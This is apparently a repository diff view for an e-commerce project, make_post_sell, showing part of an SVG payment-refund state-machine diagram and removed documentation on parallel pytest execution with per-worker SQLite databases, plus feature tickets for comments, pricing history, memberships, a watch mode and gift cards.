<text text-anchor="middle" x="754.52" y="-531.13" font-family="Arial" font-size="10.00">Initiate refund</text>
</g>
<!-- underpaid_refunded_complete -->
<g id="node17" class="node">
<title>underpaid_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1334.9,-495.91C1334.9,-495.91 1179.4,-495.91 1179.4,-495.91 1173.4,-495.91 1167.4,-489.91 1167.4,-483.91 1167.4,-483.91 1167.4,-471.91 1167.4,-471.91 1167.4,-465.91 1173.4,-459.91 1179.4,-459.91 1179.4,-459.91 1334.9,-459.91 1334.9,-459.91 1340.9,-459.91 1346.9,-465.91 1346.9,-471.91 1346.9,-471.91 1346.9,-483.91 1346.9,-483.91 1346.9,-489.91 1340.9,-495.91 1334.9,-495.91"/>
<text text-anchor="middle" x="1257.15" y="-473.64" font-family="Arial" font-size="12.00" fill="#721c24">underpaid_refunded_complete</text>
</g>
<!-- underpaid_refunded&#45;&gt;underpaid_refunded_complete -->
<g id="edge22" class="edge">
<title>underpaid_refunded&#45;&gt;underpaid_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M955.35,-464.64C1009.91,-467.05 1090.42,-470.6 1154.42,-473.42"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1154.17,-476.92 1164.31,-473.86 1154.48,-469.92 1154.17,-476.92"/>
<text text-anchor="middle" x="1060.9" y="-474.32" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- underpaid_not_refunded -->
<g id="node18" class="node">
<title>underpaid_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1318.78,-441.91C1318.78,-441.91 1195.53,-441.91 1195.53,-441.91 1189.53,-441.91 1183.53,-435.91 1183.53,-429.91 1183.53,-429.91 1183.53,-417.91 1183.53,-417.91 1183.53,-411.91 1189.53,-405.91 1195.53,-405.91 1195.53,-405.91 1318.78,-405.91 1318.78,-405.91 1324.78,-405.91 1330.78,-411.91 1330.78,-417.91 1330.78,-417.91 1330.78,-429.91 1330.78,-429.91 1330.78,-435.91 1324.78,-441.91 1318.78,-441.91"/>
<text text-anchor="middle" x="1257.15" y="-419.64" font-family="Arial" font-size="12.00" fill="#721c24">underpaid_not_refunded</text>
</g>
<!-- underpaid_refunded&#45;&gt;underpaid_not_refunded -->
<g id="edge23" class="edge">
<title>underpaid_refunded&#45;&gt;underpaid_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M955.22,-455.28C968.78,-453.83 983.08,-452.32 996.4,-450.91 1054.53,-444.79 1119.98,-437.98 1170.64,-432.74"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1170.68,-436.25 1180.27,-431.74 1169.96,-429.29 1170.68,-436.25"/>
<text text-anchor="middle" x="1060.9" y="-453.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- out_of_stock_refunded_complete -->
<g id="node19" class="node">
<title>out_of_stock_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1341.65,-387.91C1341.65,-387.91 1172.65,-387.91 1172.65,-387.91 1166.65,-387.91 1160.65,-381.91 1160.65,-375.91 1160.65,-375.91 1160.65,-363.91 1160.65,-363.91 1160.65,-357.91 1166.65,-351.91 1172.65,-351.91 1172.65,-351.91 1341.65,-351.91 1341.65,-351.91 1347.65,-351.91 1353.65,-357.91 1353.65,-363.91 1353.65,-363.91 1353.65,-375.91 1353.65,-375.91 1353.65,-381.91 1347.65,-387.91 1341.65,-387.91"/>
<text text-anchor="middle" x="1257.15" y="-365.64" font-family="Arial" font-size="12.00" fill="#721c24">out_of_stock_refunded_complete</text>
</g>
<!-- out_of_stock_refunded&#45;&gt;out_of_stock_refunded_complete -->
<g id="edge26" class="edge">
<title>out_of_stock_refunded&#45;&gt;out_of_stock_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M962.06,-369.91C1014.32,-369.91 1087.28,-369.91 1147.46,-369.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1147.43,-373.41 1157.43,-369.91 1147.43,-366.41 1147.43,-373.41"/>
<text text-anchor="middle" x="1060.9" y="-372.41" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- out_of_stock_not_refunded -->
<g id="node20" class="node">
<title>out_of_stock_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1325.53,-333.91C1325.53,-333.91 1188.78,-333.91 1188.78,-333.91 1182.78,-333.91 1176.78,-327.91 1176.78,-321.91 1176.78,-321.91 1176.78,-309.91 1176.78,-309.91 1176.78,-303.91 1182.78,-297.91 1188.78,-297.91 1188.78,-297.91 1325.53,-297.91 1325.53,-297.91 1331.53,-297.91 1337.53,-303.91 1337.53,-309.91 1337.53,-309.91 1337.53,-321.91 1337.53,-321.91 1337.53,-327.91 1331.53,-333.91 1325.53,-333.91"/>
<text text-anchor="middle" x="1257.15" y="-311.64" font-family="Arial" font-size="12.00" fill="#721c24">out_of_stock_not_refunded</text>
</g>
<!-- out_of_stock_refunded&#45;&gt;out_of_stock_not_refunded -->
<g id="edge27" class="edge">
<title>out_of_stock_refunded&#45;&gt;out_of_stock_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M962.09,-359.15C973.54,-357.39 985.31,-355.58 996.4,-353.91 1051.98,-345.53 1114.29,-336.4 1163.95,-329.2"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1164.33,-332.68 1173.72,-327.78 1163.32,-325.75 1164.33,-332.68"/>
<text text-anchor="middle" x="1060.9" y="-356.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed_overpay_refunded_complete -->
<g id="node13" class="node">
<title>confirmed_overpay_refunded_complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1358.9,-603.91C1358.9,-603.91 1155.4,-603.91 1155.4,-603.91 1149.4,-603.91 1143.4,-597.91 1143.4,-591.91 1143.4,-591.91 1143.4,-579.91 1143.4,-579.91 1143.4,-573.91 1149.4,-567.91 1155.4,-567.91 1155.4,-567.91 1358.9,-567.91 1358.9,-567.91 1364.9,-567.91 1370.9,-573.91 1370.9,-579.91 1370.9,-579.91 1370.9,-591.91 1370.9,-591.91 1370.9,-597.91 1364.9,-603.91 1358.9,-603.91"/>
<text text-anchor="middle" x="1257.15" y="-581.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed_overpay_refunded_complete</text>
</g>
<!-- confirmed_overpay_refunded&#45;&gt;confirmed_overpay_refunded_complete -->
<g id="edge13" class="edge">
<title>confirmed_overpay_refunded&#45;&gt;confirmed_overpay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M979.38,-545.33C985.14,-546.21 990.85,-547.07 996.4,-547.91 1040.17,-554.51 1088.11,-561.57 1130.76,-567.8"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1130,-571.22 1140.4,-569.2 1131.01,-564.29 1130,-571.22"/>
<text text-anchor="middle" x="1060.9" y="-569.34" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- confirmed_overpay_not_refunded -->
<g id="node14" class="node">
<title>confirmed_overpay_not_refunded</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1342.78,-549.91C1342.78,-549.91 1171.53,-549.91 1171.53,-549.91 1165.53,-549.91 1159.53,-543.91 1159.53,-537.91 1159.53,-537.91 1159.53,-525.91 1159.53,-525.91 1159.53,-519.91 1165.53,-513.91 1171.53,-513.91 1171.53,-513.91 1342.78,-513.91 1342.78,-513.91 1348.78,-513.91 1354.78,-519.91 1354.78,-525.91 1354.78,-525.91 1354.78,-537.91 1354.78,-537.91 1354.78,-543.91 1348.78,-549.91 1342.78,-549.91"/>
<text text-anchor="middle" x="1257.15" y="-527.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed_overpay_not_refunded</text>
</g>
<!-- confirmed_overpay_refunded&#45;&gt;confirmed_overpay_not_refunded -->
<g id="edge14" class="edge">
<title>confirmed_overpay_refunded&#45;&gt;confirmed_overpay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M979.37,-531.91C1029.43,-531.91 1093.04,-531.91 1146.65,-531.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1146.37,-535.41 1156.37,-531.91 1146.37,-528.41 1146.37,-535.41"/>
<text text-anchor="middle" x="1060.9" y="-534.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed_overpay_refunded_complete&#45;&gt;terminated -->
<g id="edge15" class="edge">
<title>confirmed_overpay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1371.67,-596.89C1431.41,-596.51 1502.17,-585.48 1550.9,-543.91 1607.9,-495.29 1619.67,-401.65 1621.67,-350.82"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1625.17,-350.93 1621.93,-340.84 1618.17,-350.74 1625.17,-350.93"/>
<text text-anchor="middle" x="1469.9" y="-599.71" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- confirmed_overpay_not_refunded&#45;&gt;terminated -->
<g id="edge16" class="edge">
<title>confirmed_overpay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1355.63,-529.7C1428.73,-526.16 1521.11,-517.07 1550.9,-493.91 1595.53,-459.21 1612.08,-392.1 1618.16,-350.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1621.63,-351.42 1619.47,-341.05 1614.69,-350.5 1621.63,-351.42"/>
<text text-anchor="middle" x="1469.9" y="-530.7" font-family="Arial" font-size="10.00">✓ Terminal Success (Not Refunded)</text>
</g>
<!-- latepay_refunded_complete&#45;&gt;terminated -->
<g id="edge20" class="edge">
<title>latepay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1340.17,-62.84C1404.26,-55.89 1492.05,-57.64 1550.9,-104.16 1605.07,-146.98 1618.11,-232.76 1621.02,-280.97"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1617.52,-281.12 1621.49,-290.95 1624.52,-280.8 1617.52,-281.12"/>
<text text-anchor="middle" x="1469.9" y="-107.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- latepay_not_refunded&#45;&gt;terminated -->
<g id="edge21" class="edge">
<title>latepay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1323.99,-8.14C1389.15,3.31 1488.02,8.88 1550.9,-43.16 1587.54,-73.49 1609.34,-215.13 1617.69,-281.47"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1614.18,-281.55 1618.87,-291.05 1621.13,-280.7 1614.18,-281.55"/>
<text text-anchor="middle" x="1469.9" y="-46.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- underpaid_refunded_complete&#45;&gt;terminated -->
<g id="edge24" class="edge">
<title>underpaid_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1347.76,-482.36C1409.64,-481.19 1491.2,-470.82 1550.9,-430.91 1579.76,-411.62 1598.9,-376.17 1609.91,-349.7"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1613.03,-351.33 1613.44,-340.74 1606.52,-348.76 1613.03,-351.33"/>
<text text-anchor="middle" x="1469.9" y="-483.11" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- underpaid_not_refunded&#45;&gt;terminated -->
<g id="edge25" class="edge">
<title>underpaid_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1331.52,-421.3C1392.61,-416.79 1480.65,-404.74 1550.9,-372.91 1565.41,-366.34 1579.48,-356.08 1591.2,-346.07"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1593.23,-348.94 1598.37,-339.67 1588.57,-343.72 1593.23,-348.94"/>
<text text-anchor="middle" x="1469.9" y="-417.66" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- out_of_stock_refunded_complete&#45;&gt;terminated -->
<g id="edge28" class="edge">
<title>out_of_stock_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1354.48,-360.44C1411.78,-354.13 1485.77,-344.82 1550.9,-332.91 1554.22,-332.3 1557.62,-331.64 1561.04,-330.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1561.45,-334.43 1570.48,-328.89 1559.96,-327.59 1561.45,-334.43"/>
<text text-anchor="middle" x="1469.9" y="-359.37" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- out_of_stock_not_refunded&#45;&gt;terminated -->
<g id="edge29" class="edge">
<title>out_of_stock_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1338.37,-315.91C1403.7,-315.91 1494.79,-315.91 1555.87,-315.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1555.78,-319.41 1565.78,-315.91 1555.78,-312.41 1555.78,-319.41"/>
<text text-anchor="middle" x="1469.9" y="-319.16" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- doublepay_refunded_complete&#45;&gt;terminated -->
<g id="edge32" class="edge">
<title>doublepay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1348.79,-183.09C1421.89,-182.41 1517.8,-185.59 1550.9,-205.16 1579.68,-222.18 1598.69,-256.01 1609.69,-281.82"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1606.37,-282.95 1613.34,-290.93 1612.86,-280.34 1606.37,-282.95"/>
<text text-anchor="middle" x="1469.9" y="-208.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- doublepay_not_refunded&#45;&gt;terminated -->
<g id="edge33" class="edge">
<title>doublepay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1332.88,-121.78C1396.67,-117.23 1487.83,-120.85 1550.9,-166.16 1588.81,-193.4 1607.09,-246.32 1615.39,-281.39"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1611.88,-281.74 1617.44,-290.76 1618.72,-280.25 1611.88,-281.74"/>
<text text-anchor="middle" x="1469.9" y="-169.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
</g>
</svg>

Side by side Swipe Overlay

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Before After
Before After

BIN
docs/state-machine.png
View file

Binary file not shown.
Side by side

Before

Width:  |  Height:  |  Size: 275 KiB

353
docs/testing-performance.md
View file

@ -1,353 +0,0 @@
# Test System Performance and Parallel Execution
## Overview
The make_post_sell test suite uses **pytest-xdist** for parallel test execution, achieving a **16.7x speedup** - reducing test runtime from ~30 minutes to under 2 minutes.
## Performance Metrics
- **Before parallelization**: ~30 minutes (1800 seconds)
- **After parallelization**: ~1m47s (107 seconds)
- **Speedup**: 16.7x faster
- **Workers utilized**: 64 (auto-detected from CPU cores)
- **Test count**: 430 passed, 4 skipped
- **Concurrency**: Each worker gets isolated database
## How It Works
### Parallel Test Execution (pytest-xdist)
The test suite uses `pytest-xdist` with automatic worker detection:
```bash
make test
# Runs: py.test -n auto
```
The `-n auto` flag tells pytest to:
1. Detect available CPU cores (64 in this case)
2. Spawn one worker process per core
3. Distribute tests across workers using load balancing
4. Run tests concurrently with isolated resources
### Per-Worker Database Isolation
Each pytest-xdist worker gets its own SQLite database file to prevent locking conflicts.
**Configuration**: `make_post_sell/tests/conftest.py`
```python
def pytest_configure(config):
"""
Configure test database isolation for parallel execution.
Each pytest-xdist worker gets its own database file to prevent
SQLite locking conflicts. WAL mode is enabled for better concurrency.
"""
# Get worker ID (e.g., "gw0", "gw1", etc.) for pytest-xdist
worker_id = os.environ.get("PYTEST_XDIST_WORKER", "master")
# Set unique database path for this worker
test_db_path = f"test_make_post_sell_{worker_id}.sqlite"
os.environ["TEST_DATABASE_PATH"] = test_db_path
```
This creates separate database files:
- Worker 0: `test_make_post_sell_gw0.sqlite`
- Worker 1: `test_make_post_sell_gw1.sqlite`
- Worker N: `test_make_post_sell_gwN.sqlite`
### SQLite WAL Mode for Concurrency
The `db_engine` fixture enables SQLite's Write-Ahead Logging (WAL) mode for better concurrency:
```python
@pytest.fixture(scope="session")
def db_engine(request):
"""
Create a SQLAlchemy engine with WAL mode enabled for concurrency.
WAL (Write-Ahead Logging) mode allows multiple readers while a writer
is active, improving parallel test performance.
"""
engine = create_engine(
db_url,
echo=False,
# Important: Use NullPool to avoid connection sharing issues
poolclass=__import__("sqlalchemy.pool", fromlist=["NullPool"]).NullPool,
)
# Enable WAL mode for better concurrency
@event.listens_for(engine, "connect")
def set_sqlite_pragma(dbapi_conn, connection_record):
cursor = dbapi_conn.cursor()
# Enable WAL mode for concurrent access
cursor.execute("PRAGMA journal_mode=WAL")
# Increase cache size for better performance
cursor.execute("PRAGMA cache_size=-64000") # 64MB
# Enable foreign keys
cursor.execute("PRAGMA foreign_keys=ON")
cursor.close()
```
WAL mode benefits:
- Multiple readers can access database simultaneously
- Readers don't block writers
- Better performance under concurrent load
- Automatic cleanup of WAL files
### Dynamic Database Path Configuration
The test configuration file uses environment variable substitution to support per-worker databases:
**File**: `test.ini`
```ini
[app:main]
sqlalchemy.url = sqlite:///%(here)s/${TEST_DATABASE_PATH:-test_make_post_sell.sqlite}
[alembic]
sqlalchemy.url = sqlite:///%(here)s/${TEST_DATABASE_PATH:-test_make_post_sell.sqlite}
```
- `${TEST_DATABASE_PATH}`: Set by conftest.py per worker
- Default: `test_make_post_sell.sqlite` (for non-parallel runs)
### Automatic Cleanup
Test databases are automatically cleaned up after test completion:
```python
def pytest_unconfigure(config):
"""Clean up test database after all tests complete."""
if hasattr(config, "test_db_path"):
db_path = config.test_db_path
if os.path.exists(db_path):
try:
os.remove(db_path)
except Exception as e:
print(f"Warning: Could not remove test database {db_path}: {e}")
```
## Why It's Fast
### 1. True Parallelism
- 64 workers run simultaneously on 64 CPU cores
- No Global Interpreter Lock (GIL) limitations - each worker is a separate process
- Tests run in true parallel, not concurrent
### 2. Isolated Resources
- Each worker has its own database file
- No database locking conflicts
- No resource contention between workers
### 3. Load Balancing
- pytest-xdist automatically distributes tests across workers
- Workers that finish early pick up remaining tests
- No idle workers waiting for slow tests
### 4. SQLite Optimizations
- WAL mode enables concurrent reads
- 64MB cache size reduces disk I/O
- NullPool prevents connection sharing issues
### 5. Test Distribution Strategy
pytest-xdist uses "load balancing" strategy by default:
- Tests are distributed to workers as they become available
- Slower tests don't block fast tests
- Optimal CPU utilization throughout test run
## Performance Breakdown
Based on 430 tests in ~107 seconds across 64 workers:
- **Average time per test**: 0.25 seconds
- **Total CPU time**: ~107 seconds × 64 workers = ~6,848 CPU-seconds
- **Sequential equivalent**: ~6,848 seconds ≈ 1h 54m (if all tests ran sequentially)
- **Actual wall time**: 107 seconds (1m 47s)
- **Parallelization efficiency**: ~64x potential, achieved ~16.7x actual
- Indicates some tests have dependencies or setup/teardown overhead
- Still excellent parallelization efficiency
## Test Types
The test suite includes three types of tests, all running in parallel:
### Unit Tests (`test_models.py`)
- Test individual model methods and properties in isolation
- Fast execution (~0.1-0.3s per test)
- High parallelization efficiency
### Integration Tests (`test_integration.py`)
- Test interactions between models and business logic
- Medium execution time (~0.5-2s per test)
- Good parallelization efficiency
### Functional Tests (`test_functional.py`)
- End-to-end tests through the web interface
- Slower execution (~2-10s per test)
- Benefits most from parallelization
## Skipped Tests
4 tests are conditionally skipped when PayPal credentials aren't configured:
```python
paypal_client_id = environ.get("MPS_TEST_PAYPAL_CLIENT_ID", "")
paypal_secret = environ.get("MPS_TEST_PAYPAL_SECRET", "")
if not paypal_client_id or not paypal_secret:
self.skipTest("PayPal sandbox credentials not configured in environment")
```
**Skipped tests** (in `test_functional.py`):
- Line 1731: PayPal checkout test
- Line 1761: PayPal payment verification test
- Line 1816: PayPal refund test
- Line 1901: PayPal webhook test
To run these tests, set environment variables:
```bash
export MPS_TEST_PAYPAL_CLIENT_ID="your_client_id"
export MPS_TEST_PAYPAL_SECRET="your_secret"
make test
```
## Running Tests
### Parallel execution (default):
```bash
make test
# Uses: py.test -n auto
```
### Specific number of workers:
```bash
source env/bin/activate
env/bin/py.test -n 32 # Use 32 workers
```
### Sequential execution (for debugging):
```bash
source env/bin/activate
env/bin/py.test # No -n flag = single worker
```
### Verbose output with skip reasons:
```bash
source env/bin/activate
env/bin/py.test -v -rs # Show reasons for skipped tests
```
## Hardware Requirements
The current performance assumes high-end hardware:
- **CPU**: 64+ cores (AMD EPYC, Intel Xeon, or similar)
- **RAM**: Sufficient for 64 concurrent Python processes (recommend 32GB+)
- **Storage**: Fast SSD for database I/O
On lower-core systems:
- 16 cores: ~6-8 minute test runtime (still 4-5x speedup)
- 8 cores: ~10-12 minute test runtime (still 2-3x speedup)
- 4 cores: ~15-20 minute test runtime (still ~1.5x speedup)
pytest-xdist automatically adapts to available cores with `-n auto`.
## Implementation Details
### Files Modified
1. **requirements-test.txt**: Added `pytest-xdist`
2. **Makefile**: Changed `py.test` to `py.test -n auto`
3. **test.ini**: Added environment variable substitution for database path
4. **conftest.py**: Created with per-worker configuration and WAL mode
### Challenges Solved
#### Challenge 1: Database Locking
**Problem**: SQLite locks database when multiple processes access it simultaneously
**Solution**: Per-worker database files + WAL mode
#### Challenge 2: Environment Variable Substitution
**Problem**: Pyramid config files don't natively support shell-style variable substitution
**Solution**: Used `${VAR:-default}` syntax supported by Pyramid's config system
#### Challenge 3: Decimal Serialization
**Problem**: pytest-xdist's execnet cannot serialize Decimal objects between workers
**Solution**: Convert Decimal to string in test labels:
```python
# Before:
with self.subTest(fee_amount=fee_amount):
# After:
with self.subTest(fee_amount=str(fee_amount)):
```
## Best Practices
### When to Use Parallel Tests
- ✅ During development (fast feedback loop)
- ✅ In CI/CD pipelines (reduce build times)
- ✅ Before commits (catch regressions quickly)
- ✅ For large test suites (>100 tests)
### When to Use Sequential Tests
- ❌ Debugging specific test failures (use `-k` filter instead)
- ❌ Tests with shared state (fix tests to be isolated)
- ❌ Resource-constrained environments (use `-n` with lower number)
### Writing Parallel-Safe Tests
- Isolate test data (no shared state)
- Use unique IDs/names for test resources
- Clean up after tests (fixtures with teardown)
- Avoid timing-dependent assertions
- Use database transactions for rollback
## Monitoring and Debugging
### View worker output:
```bash
env/bin/py.test -n auto -v
```
### Debug specific worker:
```bash
# Workers are named gw0, gw1, gw2, etc.
env/bin/py.test -n 4 --trace-config
```
### Check database files during test run:
```bash
# In another terminal while tests run:
ls -lh test_make_post_sell_gw*.sqlite
```
## Future Optimizations
Potential improvements for even faster tests:
1. **In-memory databases**: Use `sqlite:///:memory:` per worker
- Eliminates disk I/O entirely
- Requires careful fixture management
2. **Test grouping**: Group related tests to same worker
- Reduces setup/teardown overhead
- Use pytest-xdist's `--dist loadgroup`
3. **Fixtures optimization**: Cache expensive fixtures at session scope
- Share setup across tests in same worker
- Be careful with state isolation
4. **Selective parallelization**: Run slow tests in parallel, fast tests sequentially
- Use markers to tag slow tests
- Balance overhead vs speedup
## Conclusion
The parallel test execution system achieves a **16.7x speedup** through:
- pytest-xdist automatic worker distribution
- Per-worker database isolation
- SQLite WAL mode for concurrency
- Efficient resource management
This transforms the test suite from a 30-minute bottleneck to a 2-minute feedback loop, enabling rapid development iteration and continuous integration.

16
docs/tickets/an-algo/03-comment-sentiment-analysis.md
View file

@ -1,16 +0,0 @@
# Add sentiment analysis to comments
Lightweight, self-contained feature. Comments exist, sentiment scoring doesn't.
## Scope
- Classify comments as positive/neutral/negative
- Use a lightweight local rule-based approach (no external API dependency)
- Store sentiment score per comment in DB
- Feed sentiment data into existing analytics dashboard (MPS-3)
## Notes
- No longer blocked by engagement signal weighting — analytics is live (MPS-3)
- Products with high positive:negative ratio could surface in analytics
- Keep it simple: rule-based first, upgrade to ML later if needed

14
docs/tickets/an-algo/04-love-gifts-tipping.md
View file

@ -1,14 +0,0 @@
# Implement Love Gifts (voluntary tipping system)
**Decision**: Descoped. xmrchat.com already solves tipping better and accepts
more coins. If revisited, scope to internal shop owners and power shoppers or
paying members only — not a public feature.
## Original scope (archived)
- Love Gifts: Tips from 1-420 units of currency
- No platform cut on the first $0.69 (pure creator love)
- UI: Gift button on product pages and in watch mode
- Integrate with existing payment infrastructure (Stripe, PayPal, crypto)
## Status: ON HOLD — revisit when membership tiers exist

17
docs/tickets/an-algo/07-pricing-history.md
View file

@ -1,17 +0,0 @@
# Build transparent pricing history display
Price model already exists (`price_history` relationship on Product). Needs display.
## Scope
- Visible to **shop owners** in settings/analytics — not public by default
- Optionally visible to paying members (future membership tier gate)
- Display price timeline on product pages (expandable section)
- No dark patterns — "was $420, now $7!" must be verifiable from history
## Implementation
- `price_history` relationship already on Product model — just wire up display
- Small, honest, useful: show price change dates and amounts
- Add to analytics dashboard for shop owner view
- Keep public display behind a toggle (off by default)

40
docs/tickets/an-algo/09-membership-price-history.md
View file

@ -1,40 +0,0 @@
# Membership tiers that unlock price history for buyers
## Context
Price history is now visible to shop owners/editors on product pages (expandable
`<details>` section). The next step: let shops offer membership tiers that grant
buyers access to price history data. This is valuable for wholesalers dealing in
collectibles (pokemon cards, MTG, vintage vinyl, etc.) who need pricing trend
visibility before committing to purchases.
## Membership tiers
- **Monthly** — base price, full price history access
- **Yearly** — suggested ~15% discount over monthly
- **3-Year** — suggested ~30% discount over monthly
Shop owners set their own prices. The platform suggests discount percentages but
doesn't enforce them.
## What members unlock
- Price history table on product pages (same expandable `<details>` UI that
editors see today)
- Price change notifications (future: email digest of price movements across
followed shops)
- Historical price charts (future: sparkline or simple line chart)
## Implementation notes
- New model: `Membership` (user, shop, tier, start/end timestamps, payment ref)
- Gate: `request.user.has_membership(shop)` check alongside the existing
`can_edit_shop` check in `views/product.py` and `views/watch.py`
- Stripe recurring billing integration for membership payments
- Shop settings form section for configuring tier prices and enabling memberships
## Non-goals
- No public price history by default (opt-in via membership)
- No price prediction or "best time to buy" features
- No cross-shop price comparison

34
docs/tickets/mps-0.md
View file

@ -1,34 +0,0 @@
# MPS-0: AJAX Comment Submission (No Page Refresh)
## Problem
When playing video or audio on product/content pages, leaving a comment
triggers a full page reload (`POST /comments/new` followed by `HTTPFound`
redirect). This kills media playback mid-stream.
## Solution
Progressive enhancement: when JavaScript is available, intercept the comment
form submission and use `fetch()` with the `X-Requested-With: XMLHttpRequest`
header. The server detects this header and returns JSON instead of a redirect.
The client inserts the new comment into the DOM without reloading.
When JavaScript is disabled, the existing form POST and redirect behaviour is
unchanged.
## Files Changed
| File | Change |
|------|--------|
| `make_post_sell/views/comment.py` | Return JSON when AJAX header is present |
| `make_post_sell/static/js/comments.js` | New: fetch-based form handler, DOM insertion |
| `make_post_sell/templates/snippets/comments.j2` | Add `id="comments-list"`, load `comments.js` |
| `make_post_sell/tests/test_functional.py` | AJAX comment endpoint tests |
## Verification
1. `make test` -- all existing and new tests pass
2. Play a video, leave a comment, video keeps playing
3. Disable JS, leave a comment, redirect behaviour works as before
4. Comment count updates without reload
5. Pending-approval banner shows for non-auto-approved comments

37
docs/tickets/mps-1.md
View file

@ -1,37 +0,0 @@
# MPS-1: YouTube-Style Watch Experience
## Summary
Add a YouTube-like watch experience to product/content pages: sticky video player, autoplay with sound, stemming-powered "Up Next" related content sidebar, and a shop settings toggle to opt in.
## Features
- **Sticky Video**: `position: sticky; top: 0` on `.product-images` keeps video visible while scrolling
- **Autoplay**: Direct `<video autoplay controls>` render (no thumbnail gate) with play() promise fallback to muted + unmute overlay
- **Related Content**: Custom suffix-stripping stemmer scores title+description overlap to find related shop content (max 8 items)
- **Shop Setting**: Radio button toggle in shop settings, off by default
## Degradation
| Capability | Experience |
|-----------|-----------|
| Full JS + autoplay | Video autoplays with sound, sticky, AJAX comments, related sidebar |
| JS + autoplay blocked | Muted autoplay + unmute button |
| No JS | `<noscript>` link, form POST comments, server-rendered sidebar |
| No CSS sticky | Video scrolls normally |
| Watch mode off | Existing click-to-play thumbnail behavior |
## Files Changed
- `models/shop.py` - `watch_mode_enabled` column
- `models/product.py` - `stem_word()`, `tokenize_and_stem()`, `get_related_products()`
- `views/product.py`, `views/content.py` - pass `related_products` to template
- `views/shop.py` - handle `watch_mode` setting
- `templates/shop_settings.j2` - watch mode radio button
- `templates/product.j2`, `templates/content.j2` - sticky container, direct video render
- `templates/snippets/related_content.j2` - "Up Next" sidebar snippet
- `static/js/watch.js` - autoplay promise handler
- `static/css/common.css` - sticky video, unmute overlay, related content styles
- `scripts/alembic/versions/` - migration for `watch_mode_enabled`
- `tests/test_models.py` - stemmer + related products tests
- `tests/test_functional.py` - watch mode settings tests

79
docs/tickets/mps-10.md
View file

@ -1,79 +0,0 @@
# MPS-10: Gift Card System — Models & Migration
## Problem
Shops want to sell variable-amount gift cards. Buyers pick an amount (slider),
purchase with any payment method (including crypto), and receive a code. The
recipient enters the code at checkout (like a coupon) and the balance decrements
across purchases. Gift cards never expire (permacomputer rules).
This ticket covers the data layer only. Purchase flow (MPS-11), redemption flow
(MPS-12), and shop admin UI (MPS-13) are separate tickets.
## Solution
### New model: `MpsGiftCard`
| Column | Type | Notes |
|--------|------|-------|
| `id` | `UUIDType` | PK (uuid1) |
| `shop_id` | `UUIDType` | FK to Shop — card is scoped to one shop |
| `code` | `Unicode(64)` | Unique redemption code, uppercase alphanumeric |
| `initial_amount_in_cents` | `BigInteger` | Amount at time of purchase |
| `balance_in_cents` | `BigInteger` | Current remaining balance |
